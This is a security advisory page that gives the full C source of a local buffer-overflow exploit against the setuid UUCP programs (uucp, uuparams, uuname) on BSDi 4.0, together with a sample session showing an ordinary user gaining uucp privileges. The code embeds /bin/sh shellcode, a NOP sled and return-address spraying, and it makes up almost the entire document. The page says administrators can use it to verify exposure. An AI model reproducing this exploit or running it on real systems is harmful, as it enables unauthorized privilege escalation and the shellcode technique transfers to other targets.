SecuriTeam - UUCP Family Exploit (uucp / uuparams / uuname)

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As we reported in our previous article: UUCP Command Line Arguments Buffer Overflow, a buffer overflow vulnerability in UUCP allows an attacker to cause the program to execute arbitrary code, thus gaining elevated access (when the program has been set setuid uucp, or root).

The following is an exploit code that can be used by administrators to verify whether they are vulnerable or not.

Credit:
The information has been provided by Vade 79 .

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Example:
bash-2.02$ id
uid=123(t) gid=100(user) groups=100(user)
bash-2.02$ cc bsdi_uucp.c -o bsdi_uucp
bash-2.02$ ./bsdi_uucp -uuparams
[ (BSDi/4.0)uucp*[]: family buffer overflow, by:
v9@fakehalo.deadpig.org. ]
*** [data]: return address: 0x80474, program:
/usr/sbin/uuparams.
$ id
uid=123(t) euid=6(uucp) gid=100(user) egid=6(uucp)
groups=6(uucp), 100(user)
$

-- usage end --

Exploit:
-- bsdi_uucp.c start --

/* (BSDi)uucp[] family buffer overflow. by:
   v9@fakehalo.deadpig.org. this yields
   euid/egid/group=6(uucp) on BSDi/4.0
   systems. (BSDi specific exploit)
*/
#define UUCP "/usr/bin/uucp"
#define UUPARAMS "/usr/sbin/uuparams"
#define UUNAME "/usr/bin/uuname"
#define FILLER "x"
static char exec[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46"
"\xfa\x89\x46\x0c\x89\x76\x08\x50\x8d\x5e"
"\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff"
"\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x00"; /* 46 chars. */
void usage(char *progname){
printf("*** [syntax]: %s <-uucp|-uuparams|"
"-uuname>\n",progname);
exit(1);
}
long pointer(void){__asm__("movl %esp,%eax");}
int main(int ac,char **av){
unsigned short type=0;
unsigned int i=0;
long ret;
char eip[1024],buf[4096];
char *progptr;
printf("[ (BSDi/4.0)uucp*[]: family buffer o"
"verflow, by: v9@fakehalo.deadpig.org. ]\n");
if(ac>1){
  if(!strncasecmp(av[1],"-uucp",5)){
   progptr=UUCP;
   type=1;
  }
  else if(!strncasecmp(av[1],"-uuparams",9)){
   progptr=UUPARAMS;
   type=0;
  }
  else if(!strncasecmp(av[1],"-uuname",7)){
   progptr=UUNAME;
   type=0;
  }
  else
   usage(av[0]);
}
else
  usage(av[0]);
ret=(pointer()+sizeof(buf));
eip[0]=0x01;eip[1]=0x01;eip[2]=0x01;
for(i=3;i<1024;i+=4){*(long *)&eip[i]=ret;}
eip[i]=0x0;for(i=0;i<(sizeof(buf)-
strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
memcpy(buf+i,exec,strlen(exec));
memcpy(buf,"EXEC=",5);putenv(buf);
printf("*** [data]: return address: 0x%lx, p"
"rogram: %s.\n",ret,progptr);
if(execl(progptr,progptr,FILLER,
(type?FILLER:eip),(type?eip:0),0)){
  printf("*** [error]: could not execute %s s"
  "uccessfully.\n",progptr);
  exit(1);
}
exit(0);
}

-- bsdi_uucp.c end --

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